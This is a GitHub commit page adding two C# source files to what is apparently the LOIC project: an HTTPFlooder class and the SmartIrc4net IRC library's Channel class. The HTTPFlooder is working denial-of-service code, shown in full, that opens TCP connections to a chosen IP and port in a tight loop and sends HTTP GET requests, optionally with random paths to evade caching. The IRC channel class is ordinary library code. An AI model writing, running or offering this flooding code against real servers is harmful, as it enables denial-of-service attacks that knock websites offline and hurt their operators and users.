Permalink
Browse files

Version 1.1.1.3

  • Loading branch information...
1 parent 2f84141 commit 37e3eb2f0e4488b2cdc5ad584e36d65efc874f95 @NewEraCracker committed Sep 29, 2010
View
@@ -0,0 +1,123 @@
+using System;
+using System.ComponentModel;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+
+namespace LOIC
+{
+ public class HTTPFlooder
+ {
+ public ReqState State = ReqState.Ready;
+
+ public int Downloaded { get; set; }
+ public int Requested { get; set; }
+ public int Failed { get; set; }
+
+ public bool IsFlooding { get; set; }
+ public string IP { get; set; }
+ public int Port { get; set; }
+ public string Subsite { get; set; }
+ public int Delay { get; set; }
+ public int Timeout { get; set; }
+ public bool Resp { get; set; }
+ private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();
+
+ private long LastAction;
+ private Random rnd = new Random();
+ private bool random;
+ public enum ReqState { Ready, Connecting, Requesting, Downloading, Completed, Failed };
+
+ public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout, bool random)
+ {
+ this.IP = ip;
+ this.Port = port;
+ this.Subsite = subSite;
+ this.Resp = resp;
+ this.Delay = delay;
+ this.Timeout = timeout;
+ this.random = random;
+ }
+ public void Start()
+ {
+ IsFlooding = true; LastAction = Tick();
+
+ tTimepoll = new System.Windows.Forms.Timer();
+ tTimepoll.Tick += new EventHandler(tTimepoll_Tick);
+ tTimepoll.Start();
+
+ var bw = new BackgroundWorker();
+ bw.DoWork += new DoWorkEventHandler(bw_DoWork);
+ bw.RunWorkerAsync();
+ }
+
+ private string RandomString()
+ {
+ StringBuilder builder = new StringBuilder();
+ Random random = new Random();
+ char ch;
+ int size = random.Next(5) + 5;
+ for (int i = 0; i < size; i++)
+ {
+ ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
+ builder.Append(ch);
+ }
+ return builder.ToString();
+ }
+
+ void tTimepoll_Tick(object sender, EventArgs e)
+ {
+ if (Tick() > LastAction + Timeout)
+ {
+ Failed++; State = ReqState.Failed;
+ tTimepoll.Stop();
+ if (IsFlooding)
+ {
+ tTimepoll.Start();
+ }
+ }
+ }
+
+ private void bw_DoWork(object sender, DoWorkEventArgs e)
+ {
+ try
+ {
+ byte[] buf;
+ if (random == true)
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.0{2}{2}{2}", Subsite, RandomString(), Environment.NewLine));
+ }
+ else
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine));
+ }
+ var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
+ while (IsFlooding)
+ {
+ State = ReqState.Ready; // SET STATE TO READY //
+ LastAction = Tick();
+ byte[] recvBuf = new byte[64];
+ var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ State = ReqState.Connecting; // SET STATE TO CONNECTING //
+ socket.Connect(host);
+ socket.Blocking = Resp;
+ State = ReqState.Requesting; // SET STATE TO REQUESTING //
+ socket.Send(buf, SocketFlags.None);
+ State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++
+ if (Resp) socket.Receive(recvBuf, 64, SocketFlags.None);
+ State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
+ tTimepoll.Stop();
+ tTimepoll.Start();
+ if (Delay > 0) System.Threading.Thread.Sleep(Delay);
+ }
+ }
+ catch { }
+ finally { IsFlooding = false; }
+ }
+
+ private static long Tick()
+ {
+ return DateTime.Now.Ticks / 10000;
+ }
+ }
+}
View
@@ -0,0 +1,237 @@
+/*
+ * $Id: Channel.cs 207 2006-01-11 10:08:56Z meebey $
+ * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcClient/Channel.cs $
+ * $Rev: 207 $
+ * $Author: meebey $
+ * $Date: 2006-01-11 11:08:56 +0100 (Wed, 11 Jan 2006) $
+ *
+ * SmartIrc4net - the IRC library for .NET/C# <http://smartirc4net.sf.net>
+ *
+ * Copyright (c) 2003-2005 Mirco Bauer <meebey@meebey.net> <http://www.meebey.net>
+ *
+ * Full LGPL License: <http://www.gnu.org/licenses/lgpl.txt>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Specialized;
+
+namespace Meebey.SmartIrc4net
+{
+ /// <summary>
+ ///
+ /// </summary>
+ /// <threadsafety static="true" instance="true" />
+ public class Channel
+ {
+ private string _Name;
+ private string _Key = String.Empty;
+ private Hashtable _Users = Hashtable.Synchronized(new Hashtable(new CaseInsensitiveHashCodeProvider(), new CaseInsensitiveComparer()));
+ private Hashtable _Ops = Hashtable.Synchronized(new Hashtable(new CaseInsensitiveHashCodeProvider(), new CaseInsensitiveComparer()));
+ private Hashtable _Voices = Hashtable.Synchronized(new Hashtable(new CaseInsensitiveHashCodeProvider(), new CaseInsensitiveComparer()));
+ private StringCollection _Bans = new StringCollection();
+ private string _Topic = String.Empty;
+ private int _UserLimit;
+ private string _Mode = String.Empty;
+ private DateTime _ActiveSyncStart;
+ private DateTime _ActiveSyncStop;
+ private TimeSpan _ActiveSyncTime;
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <param name="name"> </param>
+ internal Channel(string name)
+ {
+ _Name = name;
+ _ActiveSyncStart = DateTime.Now;
+ }
+
+#if LOG4NET
+ ~Channel()
+ {
+ Logger.ChannelSyncing.Debug("Channel ("+Name+") destroyed");
+ }
+#endif
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public string Name {
+ get {
+ return _Name;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public string Key {
+ get {
+ return _Key;
+ }
+ set {
+ _Key = value;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public Hashtable Users {
+ get {
+ return (Hashtable)_Users.Clone();
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ internal Hashtable UnsafeUsers {
+ get {
+ return _Users;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public Hashtable Ops {
+ get {
+ return (Hashtable)_Ops.Clone();
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ internal Hashtable UnsafeOps {
+ get {
+ return _Ops;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public Hashtable Voices {
+ get {
+ return (Hashtable)_Voices.Clone();
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ internal Hashtable UnsafeVoices {
+ get {
+ return _Voices;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public StringCollection Bans {
+ get {
+ return _Bans;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public string Topic {
+ get {
+ return _Topic;
+ }
+ set {
+ _Topic = value;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public int UserLimit {
+ get {
+ return _UserLimit;
+ }
+ set {
+ _UserLimit = value;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public string Mode {
+ get {
+ return _Mode;
+ }
+ set {
+ _Mode = value;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public DateTime ActiveSyncStart {
+ get {
+ return _ActiveSyncStart;
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public DateTime ActiveSyncStop {
+ get {
+ return _ActiveSyncStop;
+ }
+ set {
+ _ActiveSyncStop = value;
+ _ActiveSyncTime = _ActiveSyncStop.Subtract(_ActiveSyncStart);
+ }
+ }
+
+ /// <summary>
+ ///
+ /// </summary>
+ /// <value> </value>
+ public TimeSpan ActiveSyncTime {
+ get {
+ return _ActiveSyncTime;
+ }
+ }
+ }
+}
Oops, something went wrong.

0 comments on commit 37e3eb2

Please sign in to comment.